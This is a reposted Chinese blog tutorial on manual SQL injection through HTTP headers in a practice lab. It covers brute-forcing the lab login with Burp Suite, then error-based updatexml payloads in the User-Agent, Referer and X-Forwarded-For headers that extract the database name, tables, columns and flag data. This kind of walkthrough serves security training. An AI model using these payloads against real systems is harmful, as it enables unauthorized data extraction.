SQL注入
Posted Hacker Snownman
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入相关的知识,希望对你有一定的参考价值。
手工注入
Head注入
显错注入(get型)和post注入是sql注入的首选,而head注入属于报错注入,只有在实在没有一点办法的情况下才可以尝试使用head注入
靶场还是显错注入和post注入那个靶场
第一种情况:
看源码,在正常情况下是没有源码的,由于是靶场,所以会有源码存在。
根据源码分析,我们需要先登录,然后在HTTP_USER_AGENT那里进行注入。
账号密码我们没有,所以我们需要Burpsuite进行爆破。
爆破的方法就不去展示了,在网络上一搜就可以。https://jingyan.baidu.com/article/ca41422f054c881eae99eda0.html
得到账号密码是admin/123456
ctrl+R
发送到repeater中,可以循环测试
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了
在User-———Agent
后面添加'or updatexml(1,concat(0x7e,(select database())),1),1)#
获取数据库:
左侧:
右侧:
得到数据库:head_error
'or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema=database () limit 0,1)),1),1)#
查询表名:
表名flag_head
'or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name="flag_head" limit 1,1)),1),1)#
查询字段名:
使用' or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1)#
查询数据:
于是就得到了我们想要的数据
第二种情况:
我们从Referer部分进行注入
其他的都和第一种情况一样
第三种情况:
没有我们可以利用的,所以我们可以添加X-Forwarded-For:
进行注入
以上是关于SQL注入的主要内容,如果未能解决你的问题,请参考以下文章